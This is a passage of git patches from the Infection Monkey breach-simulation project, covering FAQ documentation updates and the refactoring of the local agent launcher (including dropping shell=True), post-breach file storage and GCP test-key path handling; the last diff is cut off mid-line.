Wed, 12 May 2021 16:49:11 +0530 Subject: [PATCH 0468/1360] Update the documentation for resetting password --- docs/content/FAQ/_index.md | 2 +- docs/content/setup/accounts-and-security.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 74ef6dcd5d4..3499eebd6c4 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -40,7 +40,7 @@ The Infection Monkey agent shuts off either when it can't find new victims or it When you first access the Monkey Island server, you'll be prompted to create an account. If you forget the credentials you entered, or just want to change them, you need to alter the `server_config.json` file manually. -On Linux, this file is located at `/var/monkey/monkey_island/cc/server_config.json`. On Windows, it's based on your install directory (typically it is `C:\Program Files\Guardicore\Monkey Island\monkey_island\cc\server_config.json`). Reset the contents of this file leaving the **deployment option unchanged** (it might be "VMware" or "Linux" in your case): +This file is located in your specified data directory. On Linux, the default data directory is `$HOME/.monkey_island`, and on Windows, it is `%AppData%\monkey_island`. Reset the contents of this file leaving the **deployment option unchanged** (it might be "VMware" or "Linux" in your case): ```json { diff --git a/docs/content/setup/accounts-and-security.md b/docs/content/setup/accounts-and-security.md index b5cd81ab943..cd87c2f1983 100644 --- a/docs/content/setup/accounts-and-security.md +++ b/docs/content/setup/accounts-and-security.md @@ -15,4 +15,4 @@ If you want an island to be accessible without credentials, press *I want anyone ## Resetting your account credentials -This procedure is documented in [the FAQ.]({{< ref "/faq/#how-do-i-reset-the-monkey-island-password" >}}) +This procedure is documented in [the FAQ]({{< ref "/faq/#how-do-i-reset-the-monkey-island-password" >}}). From e3449d17c7d7606544c5a9a703e153d727440353 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 08:07:04 -0400 Subject: [PATCH 0469/1360] Remove file that was accidentally added --- monkey/test.py | 4 ---- 1 file changed, 4 deletions(-) delete mode 100644 monkey/test.py diff --git a/monkey/test.py b/monkey/test.py deleted file mode 100644 index 19ef00bd888..00000000000 --- a/monkey/test.py +++ /dev/null @@ -1,4 +0,0 @@ -try: - raise Exception("Ex") -except Exception as ex: - print(f"F: {ex}") From db142859349fe88b04d805a6fa0544e3345cd437 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 08:10:01 -0400 Subject: [PATCH 0470/1360] island: Add `dir_is_empty()` to clarify intent of `test_remove_pba_files()` --- .../cc/services/test_post_breach_files.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/monkey_island/cc/services/test_post_breach_files.py index 7d3431cfdd3..cc1c80e1f8c 100644 --- a/monkey/tests/monkey_island/cc/services/test_post_breach_files.py +++ b/monkey/tests/monkey_island/cc/services/test_post_breach_files.py @@ -25,13 +25,14 @@ def test_remove_pba_files(): create_custom_pba_file("linux_file") create_custom_pba_file("windows_file") - custom_pda_dir_contents = os.listdir(PostBreachFilesService.get_custom_pba_directory()) - assert len(custom_pda_dir_contents) == 2 - + assert not dir_is_empty(PostBreachFilesService.get_custom_pba_directory()) PostBreachFilesService.remove_PBA_files() + assert dir_is_empty(PostBreachFilesService.get_custom_pba_directory()) + - custom_pda_dir_contents = os.listdir(PostBreachFilesService.get_custom_pba_directory()) - assert len(custom_pda_dir_contents) == 0 +def dir_is_empty(dir_path): + dir_contents = os.listdir(dir_path) + return len(dir_contents) == 0 @pytest.mark.skipif(os.name != "posix", reason="Tests Posix (not Windows) permissions.") From 3798fac6c11d398dd38e5032c6ff832f7c5878ed Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 12 May 2021 17:27:28 +0530 Subject: [PATCH 0471/1360] Add instructions for changing the Monkey Island logger log level to docs --- docs/content/FAQ/_index.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 3499eebd6c4..4fd6b8ba255 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -14,6 +14,7 @@ Below are some of the most common questions we receive about the Infection Monke - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) - [Where can I find the log files of the Infection Monkey agent and the Monkey Island server, and how can I read them?](#where-can-i-find-the-log-files-of-the-infection-monkey-agent-and-the-monkey-island-and-how-can-i-read-them) - [Monkey Island server](#monkey-island-server) + - [How do I change the log level of the Monkey Island logger?](#how-do-i-change-the-log-level-of-the-monkey-island-logger) - [Infection Monkey agent](#infection-monkey-agent) - [Running the Infection Monkey in a production environment](#running-the-infection-monkey-in-a-production-environment) - [How much of a footprint does the Infection Monkey leave?](#how-much-of-a-footprint-does-the-infection-monkey-leave) @@ -48,7 +49,7 @@ This file is located in your specified data directory. On Linux, the default dat "deployment": "windows" } ``` - Then, reset the Monkey Island process. Use `sudo systemctl restart monkey-island.service` on Linux or, on Windows, restart program. + Then, reset the Monkey Island process. Use `sudo systemctl restart monkey-island.service` on Linux, or on Windows, restart program. Finally, go to the Monkey Island's URL and create a new account. ## Should I run the Infection Monkey continuously? @@ -89,6 +90,12 @@ The log enables you to see which requests were requested from the server and ext 2019-07-23 10:52:24,027 - report.py:580 - get_domain_issues() - INFO - Domain issues generated for reporting ``` +#### How do I change the log level of the Monkey Island logger? + +The log level of the Monkey Island logger is set in the `log_level` field in the `server_config.json` file which is present in your specified data directory. On Linux, the default data directory is `$HOME/.monkey_island`, and on Windows, it is `%AppData%\monkey_island`. Make sure you leave everything else in `server_config.json` unchanged. + +To apply the changes, reset the Monkey Island process. Use `sudo systemctl restart monkey-island.service` on Linux, or on Windows, restart the program. Now, any logging in the program will be done according to the new log level. + ### Infection Monkey agent The Infection Monkey agent log file can be found in the following paths on machines where it was executed: From f86bc7f9432f826a544f437d5db745c86b30f244 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 08:35:46 -0400 Subject: [PATCH 0472/1360] island: Move run_local_monkey() to its own service --- monkey/monkey_island/cc/app.py | 13 ++-- monkey/monkey_island/cc/main.py | 6 +- .../monkey_island/cc/resources/local_run.py | 56 +----------------- .../monkey_island/cc/services/initialize.py | 6 +- .../cc/services/run_local_monkey.py | 59 +++++++++++++++++++ 5 files changed, 70 insertions(+), 70 deletions(-) create mode 100644 monkey/monkey_island/cc/services/run_local_monkey.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 269b9a5d374..9636a62a0e1 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -117,19 +117,14 @@ def init_app_url_rules(app): app.add_url_rule("/", "serve_static_file", serve_static_file) -def init_api_resources(api, data_dir): +def init_api_resources(api): api.add_resource(Root, "/api") api.add_resource(Registration, "/api/registration") api.add_resource(Authenticate, "/api/auth") api.add_resource(Environment, "/api/environment") api.add_resource(Monkey, "/api/monkey", "/api/monkey/", "/api/monkey/") api.add_resource(Bootloader, "/api/bootloader/") - api.add_resource( - LocalRun, - "/api/local-monkey", - "/api/local-monkey/", - resource_class_kwargs={"data_dir": data_dir}, - ) + api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") api.add_resource( Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" @@ -178,7 +173,7 @@ def init_api_resources(api, data_dir): api.add_resource(TelemetryBlackboxEndpoint, "/api/test/telemetry") -def init_app(mongo_url, data_dir): +def init_app(mongo_url): app = Flask(__name__) api = flask_restful.Api(app) @@ -187,6 +182,6 @@ def init_app(mongo_url, data_dir): init_app_config(app, mongo_url) init_app_services(app) init_app_url_rules(app) - init_api_resources(api, data_dir) + init_api_resources(api) return app diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 5b3bfd7944e..4bdc764c3b1 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -48,17 +48,17 @@ def main(should_setup_only=False, server_config_filename=DEFAULT_SERVER_CONFIG_P ) bootloader_server_thread.start() - start_island_server(should_setup_only, data_dir) + start_island_server(should_setup_only) bootloader_server_thread.join() -def start_island_server(should_setup_only, data_dir): +def start_island_server(should_setup_only): mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) assert_mongo_db_version(mongo_url) populate_exporter_list() - app = init_app(mongo_url, data_dir) + app = init_app(mongo_url) crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) key_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 91c02a4f73e..40a5fb8b0d7 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -1,67 +1,15 @@ import json -import logging -import os -import sys -from shutil import copyfile import flask_restful from flask import jsonify, make_response, request -import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.models import Monkey from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.resources.monkey_download import get_monkey_executable -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.utils.network_utils import local_ip_addresses - -__author__ = "Barak" - -logger = logging.getLogger(__name__) - - -def run_local_monkey(dest_dir): - import platform - import stat - import subprocess - - # get the monkey executable suitable to run on the server - result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) - if not result: - return False, "OS Type not found" - - src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) - dest_path = os.path.join(dest_dir, result["filename"]) - - # copy the executable to temp path (don't run the monkey from its current location as it may - # delete itself) - try: - copyfile(src_path, dest_path) - os.chmod(dest_path, stat.S_IRWXU | stat.S_IRWXG) - except Exception as exc: - logger.error("Copy file failed", exc_info=True) - return False, "Copy file failed: %s" % exc - - # run the monkey - try: - args = [ - '"%s" m0nk3y -s %s:%s' - % (dest_path, local_ip_addresses()[0], env_singleton.env.get_island_port()) - ] - if sys.platform == "win32": - args = "".join(args) - subprocess.Popen(args, cwd=dest_dir, shell=True).pid - except Exception as exc: - logger.error("popen failed", exc_info=True) - return False, "popen failed: %s" % exc - - return True, "" +from monkey_island.cc.services.run_local_monkey import RunLocalMonkeyService class LocalRun(flask_restful.Resource): - def __init__(self, data_dir): - self._data_dir = data_dir - @jwt_required def get(self): NodeService.update_dead_monkeys() @@ -77,7 +25,7 @@ def get(self): def post(self): body = json.loads(request.data) if body.get("action") == "run": - local_run = run_local_monkey(self._data_dir) + local_run = RunLocalMonkeyService.run_local_monkey() return jsonify(is_running=local_run[0], error_text=local_run[1]) # default action diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index 564babcac08..93eb66d3f23 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -1,9 +1,7 @@ from monkey_island.cc.services.post_breach_files import PostBreachFilesService +from monkey_island.cc.services.run_local_monkey import RunLocalMonkeyService def initialize_services(data_dir): - initialize_post_breach_file_service(data_dir) - - -def initialize_post_breach_file_service(data_dir): PostBreachFilesService.initialize(data_dir) + RunLocalMonkeyService.initialize(data_dir) diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py new file mode 100644 index 00000000000..ce08ff61596 --- /dev/null +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -0,0 +1,59 @@ +import logging +import os +import platform +import stat +import subprocess +import sys +from shutil import copyfile + +import monkey_island.cc.environment.environment_singleton as env_singleton +from monkey_island.cc.resources.monkey_download import get_monkey_executable +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.services.utils.network_utils import local_ip_addresses + +logger = logging.getLogger(__name__) + + +class RunLocalMonkeyService: + DATA_DIR = None + + # TODO: A number of these services should be instance objects instead of + # static/singleton hybrids. At the moment, this requires invasive refactoring that's + # not a priority. + @classmethod + def initialize(cls, data_dir): + cls.DATA_DIR = data_dir + + @staticmethod + def run_local_monkey(): + # get the monkey executable suitable to run on the server + result = get_monkey_executable(platform.system().lower(), platform.machine().lower()) + if not result: + return False, "OS Type not found" + + src_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) + dest_path = os.path.join(RunLocalMonkeyService.DATA_DIR, result["filename"]) + + # copy the executable to temp path (don't run the monkey from its current location as it may + # delete itself) + try: + copyfile(src_path, dest_path) + os.chmod(dest_path, stat.S_IRWXU | stat.S_IRWXG) + except Exception as exc: + logger.error("Copy file failed", exc_info=True) + return False, "Copy file failed: %s" % exc + + # run the monkey + try: + args = [ + '"%s" m0nk3y -s %s:%s' + % (dest_path, local_ip_addresses()[0], env_singleton.env.get_island_port()) + ] + if sys.platform == "win32": + args = "".join(args) + subprocess.Popen(args, cwd=RunLocalMonkeyService.DATA_DIR, shell=True).pid + except Exception as exc: + logger.error("popen failed", exc_info=True) + return False, "popen failed: %s" % exc + + return True, "" From 2485c85d59049842b2b254c35367f76b95bd273b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 08:42:12 -0400 Subject: [PATCH 0473/1360] island: Don't use `shell=True` when running local monkey --- .../monkey_island/cc/services/run_local_monkey.py | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/run_local_monkey.py b/monkey/monkey_island/cc/services/run_local_monkey.py index ce08ff61596..175bd58a9ae 100644 --- a/monkey/monkey_island/cc/services/run_local_monkey.py +++ b/monkey/monkey_island/cc/services/run_local_monkey.py @@ -3,7 +3,6 @@ import platform import stat import subprocess -import sys from shutil import copyfile import monkey_island.cc.environment.environment_singleton as env_singleton @@ -45,13 +44,11 @@ def run_local_monkey(): # run the monkey try: - args = [ - '"%s" m0nk3y -s %s:%s' - % (dest_path, local_ip_addresses()[0], env_singleton.env.get_island_port()) - ] - if sys.platform == "win32": - args = "".join(args) - subprocess.Popen(args, cwd=RunLocalMonkeyService.DATA_DIR, shell=True).pid + ip = local_ip_addresses()[0] + port = env_singleton.env.get_island_port() + + args = [dest_path, "m0nk3y", "-s", f"{ip}:{port}"] + subprocess.Popen(args, cwd=RunLocalMonkeyService.DATA_DIR) except Exception as exc: logger.error("popen failed", exc_info=True) return False, "popen failed: %s" % exc From 717edc6fb0c3e112e9574782aed45fa05d6d6282 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 12 May 2021 18:10:59 +0530 Subject: [PATCH 0474/1360] Add FAQ about the data directory to docs --- docs/content/FAQ/_index.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 4fd6b8ba255..dc7b5f6332a 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -9,6 +9,7 @@ Below are some of the most common questions we receive about the Infection Monke - [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) +- [Where does Infection Monkey store runtime artifacts?](#where-does-infection-monkey-store-runtime-artifacts) - [How do I reset the Monkey Island password?](#how-do-i-reset-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) @@ -37,6 +38,14 @@ If you want to see what has changed between versions, refer to the [releases pag The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration. +## Where does Infection Monkey store runtime artifacts? + +The Infection Monkey agent may need to access or create some files on systems while running, such as during the execution of custom post-breach actions or when attempting the Zerologon exploit. + +For this, it uses a "data directory" which can be configured in the `data_dir` field in the `server_config.json` file. The default data directory on Linux is `$HOME/.monkey_island`, and on Windows is `%AppData%\monkey_island`. + +Any runtime artifacts will be stored in the data directory. + ## How do I reset the Monkey Island password? When you first access the Monkey Island server, you'll be prompted to create an account. If you forget the credentials you entered, or just want to change them, you need to alter the `server_config.json` file manually. From 7a03a9504dc3cf42a8e942c51ba234a674423d08 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 12 May 2021 16:33:52 +0300 Subject: [PATCH 0475/1360] Removed the `relative_key_path` parameter from GCPHandler class because it's unused and has a misleading name. --- .../blackbox/utils/gcp_machine_handlers.py | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 89018bde1d8..dd72112ba4d 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -12,18 +12,17 @@ class GCPHandler(object): MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" # Key path location relative to this file - DEFAULT_RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" + RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" DEFAULT_ZONE = "europe-west3-a" DEFAULT_PROJECT = "guardicore-22050661" def __init__( self, - relative_key_path=DEFAULT_RELATIVE_KEY_PATH, zone=DEFAULT_ZONE, project_id=DEFAULT_PROJECT, ): self.zone = zone - abs_key_path = GCPHandler.get_absolute_key_path(relative_key_path) + abs_key_path = GCPHandler.get_absolute_key_path() subprocess.call(GCPHandler.get_auth_command(abs_key_path), shell=True) # noqa: DUO116 LOGGER.info("GCP Handler passed key") @@ -33,15 +32,15 @@ def __init__( LOGGER.info("GCP Handler initialized successfully") @staticmethod - def get_absolute_key_path(relative_key_path: str) -> str: - file_dir = os.path.dirname(os.path.realpath(__file__)) - absolute_key_path = os.path.join(file_dir, relative_key_path) + def get_absolute_key_path() -> str: + absolute_key_path = os.path.join(__file__, GCPHandler.RELATIVE_KEY_PATH) + absolute_key_path = os.path.realpath(absolute_key_path) if not os.path.isfile(absolute_key_path): raise FileNotFoundError( "GCP key not found. " "Add a service key to envs/monkey_zoo/gcp_keys/gcp_key.json" ) - return os.path.normpath(absolute_key_path) + return absolute_key_path def start_machines(self, machine_list): """ From 45f2702403dba91b463b72e3ea984eaccb145f91 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 12 May 2021 16:58:46 +0300 Subject: [PATCH 0476/1360] Reverted back to fetching file directory first when resolving GCP keys. This is to make gcp key file relative to utils directory, not the current file. This will make it less confusing, because people usually navigate directories, not files. --- envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index dd72112ba4d..c438e92f50b 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -11,7 +11,7 @@ class GCPHandler(object): MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s" MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s" - # Key path location relative to this file + # Key path location relative to this file's directory RELATIVE_KEY_PATH = "../../gcp_keys/gcp_key.json" DEFAULT_ZONE = "europe-west3-a" DEFAULT_PROJECT = "guardicore-22050661" @@ -33,7 +33,8 @@ def __init__( @staticmethod def get_absolute_key_path() -> str: - absolute_key_path = os.path.join(__file__, GCPHandler.RELATIVE_KEY_PATH) + file_dir = os.path.dirname(os.path.realpath(__file__)) + absolute_key_path = os.path.join(file_dir, GCPHandler.RELATIVE_KEY_PATH) absolute_key_path = os.path.realpath(absolute_key_path) if not os.path.isfile(absolute_key_path): From 253588b3acabd001cd8e83cd8fec8f60feb52acb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 09:03:13 -0400 Subject: [PATCH 0477/1360] island: Move PBA filename paths to config_value_paths.py --- monkey/common/config_value_paths.py | 2 ++ monkey/monkey_island/cc/resources/pba_file_upload.py | 7 ++----- monkey/monkey_island/cc/services/config.py | 12 +++++------- .../monkey_island/cc/services/post_breach_files.py | 6 ------ 4 files changed, 9 insertions(+), 18 deletions(-) diff --git a/monkey/common/config_value_paths.py b/monkey/common/config_value_paths.py index 4fc94ea4e68..db10fb9e1c0 100644 --- a/monkey/common/config_value_paths.py +++ b/monkey/common/config_value_paths.py @@ -11,3 +11,5 @@ LOCAL_NETWORK_SCAN_PATH = ["basic_network", "scope", "local_network_scan"] LM_HASH_LIST_PATH = ["internal", "exploits", "exploit_lm_hash_list"] NTLM_HASH_LIST_PATH = ["internal", "exploits", "exploit_ntlm_hash_list"] +PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] +PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"] diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 25b54cb2897..369bc3c42c3 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -6,13 +6,10 @@ from flask import Response, request, send_from_directory from werkzeug.utils import secure_filename +from common.config_value_paths import PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.post_breach_files import ( - PBA_LINUX_FILENAME_PATH, - PBA_WINDOWS_FILENAME_PATH, - PostBreachFilesService, -) +from monkey_island.cc.services.post_breach_files import PostBreachFilesService __author__ = "VakarisZ" diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index c0fb3a20c0c..7c7429756db 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -9,11 +9,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config_schema.config_schema import SCHEMA -from monkey_island.cc.services.post_breach_files import ( - PBA_LINUX_FILENAME_PATH, - PBA_WINDOWS_FILENAME_PATH, - PostBreachFilesService, -) +from monkey_island.cc.services.post_breach_files import PostBreachFilesService from monkey_island.cc.services.utils.network_utils import local_ip_addresses __author__ = "itay.mizeretz" @@ -24,6 +20,8 @@ LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, PASSWORD_LIST_PATH, + PBA_LINUX_FILENAME_PATH, + PBA_WINDOWS_FILENAME_PATH, SSH_KEYS_PATH, STARTED_ON_ISLAND_PATH, USER_LIST_PATH, @@ -216,8 +214,8 @@ def set_config_PBA_files(config_json): linux_filename = ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) windows_filename = ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - config_json["monkey"]["post_breach"]["PBA_linux_filename"] = linux_filename - config_json["monkey"]["post_breach"]["PBA_windows_filename"] = windows_filename + ConfigService.set_config_value(PBA_LINUX_FILENAME_PATH, linux_filename) + ConfigService.set_config_value(PBA_WINDOWS_FILENAME_PATH, windows_filename) @staticmethod def init_default_config(): diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 1a84075647a..06d2ffe4872 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -2,14 +2,8 @@ import os from pathlib import Path -__author__ = "VakarisZ" - logger = logging.getLogger(__name__) -# Where to find file names in config -PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] -PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"] - class PostBreachFilesService: DATA_DIR = None From 79eb7442ae60490e53755dedb7029c923ef844d9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 09:49:58 -0400 Subject: [PATCH 0478/1360] island: Move the specifics of saving pba files to pba service --- .../cc/resources/pba_file_upload.py | 19 +++++++++++-------- .../cc/services/post_breach_files.py | 6 ++++++ .../cc/services/test_post_breach_files.py | 16 ++++++++++++---- 3 files changed, 29 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 369bc3c42c3..39da8324ff7 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,9 +1,9 @@ import copy import logging -from pathlib import Path import flask_restful from flask import Response, request, send_from_directory +from werkzeug.datastructures import FileStorage from werkzeug.utils import secure_filename from common.config_value_paths import PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH @@ -45,27 +45,30 @@ def post(self, file_type): :param file_type: Type indicates which file was received, linux or windows :return: Returns flask response object with uploaded file's filename """ - filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE)) + filename = FileUpload.upload_pba_file( + request.files["filepond"], (file_type == LINUX_PBA_TYPE) + ) response = Response(response=filename, status=200, mimetype="text/plain") return response @staticmethod - def upload_pba_file(request_, is_linux=True): + def upload_pba_file(file_storage: FileStorage, is_linux=True): """ Uploads PBA file to island's file system :param request_: Request object containing PBA file :param is_linux: Boolean indicating if this file is for windows or for linux :return: filename string """ - filename = secure_filename(request_.files["filepond"].filename) - file_path = ( - Path(PostBreachFilesService.get_custom_pba_directory()).joinpath(filename).absolute() - ) - request_.files["filepond"].save(str(file_path)) + filename = secure_filename(file_storage.filename) + file_contents = file_storage.read() + + PostBreachFilesService.save_file(filename, file_contents) + ConfigService.set_config_value( (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename ) + return filename @jwt_required diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 06d2ffe4872..94569db3763 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -17,6 +17,12 @@ def initialize(cls, data_dir): cls.DATA_DIR = data_dir Path(cls.get_custom_pba_directory()).mkdir(mode=0o0700, parents=True, exist_ok=True) + @staticmethod + def save_file(filename: str, file_contents: bytes): + file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), filename) + with open(file_path, "wb") as f: + f.write(file_contents) + @staticmethod def remove_PBA_files(): for f in os.listdir(PostBreachFilesService.get_custom_pba_directory()): diff --git a/monkey/tests/monkey_island/cc/services/test_post_breach_files.py b/monkey/tests/monkey_island/cc/services/test_post_breach_files.py index cc1c80e1f8c..3c3fe82fe84 100644 --- a/monkey/tests/monkey_island/cc/services/test_post_breach_files.py +++ b/monkey/tests/monkey_island/cc/services/test_post_breach_files.py @@ -15,10 +15,7 @@ def custom_pba_directory(tmpdir): def create_custom_pba_file(filename): - assert os.path.isdir(PostBreachFilesService.get_custom_pba_directory()) - - file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), filename) - open(file_path, "a").close() + PostBreachFilesService.save_file(filename, b"") def test_remove_pba_files(): @@ -59,3 +56,14 @@ def test_remove_nonexistant_file(monkeypatch): PostBreachFilesService.remove_file("/nonexistant/file") except Exception as ex: pytest.fail(f"Unxepected exception: {ex}") + + +def test_save_file(): + FILE_NAME = "test_file" + FILE_CONTENTS = b"hello" + PostBreachFilesService.save_file(FILE_NAME, FILE_CONTENTS) + + expected_file_path = os.path.join(PostBreachFilesService.get_custom_pba_directory(), FILE_NAME) + + assert os.path.isfile(expected_file_path) + assert FILE_CONTENTS == open(expected_file_path, "rb").read() From b8d4452e70f702c14ff8fd822cdd2a9711b0236a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 May 2021 12:09:46 -0400 Subject: [PATCH 0479/1360] island: Rename RunLocalMonkeyService -> LocalMonkeyRunService --- monkey/monkey_island/cc/resources/local_run.py | 4 ++-- monkey/monkey_island/cc/services/initialize.py | 4 ++-- monkey/monkey_island/cc/services/run_local_monkey.py | 6 +++--- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 40a5fb8b0d7..49517dbdbb0 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -6,7 +6,7 @@ from monkey_island.cc.models import Monkey from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.node import NodeService -from monkey_island.cc.services.run_local_monkey import RunLocalMonkeyService +from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService class LocalRun(flask_restful.Resource): @@ -25,7 +25,7 @@ def get(self): def post(self): body = json.loads(request.data) if body.get("action") == "run": - local_run = RunLocalMonkeyService.run_local_monkey() + local_run = LocalMonkeyRunService.run_local_monkey() return jsonify(is_running=local_run[0], error_text=local_run[1]) # default action diff --git a/monkey/monkey_island/cc/services/initialize.py b/monkey/monkey_island/cc/services/initialize.py index 93eb66d3f23..6ff0d2706d4 100644 --- a/monkey/monkey_island/cc/services/initialize.py +++ b/monkey/monkey_island/cc/services/initialize.py @@ -1,7 +1,7 @@ from monkey_island.cc.services.post_breach_files import PostBreachFilesService -from monkey_island.cc.services.run_local_monkey import RunLocalMonkeyService +from monkey_island.cc.services.run_local_monkey import LocalMonkeyRunService def 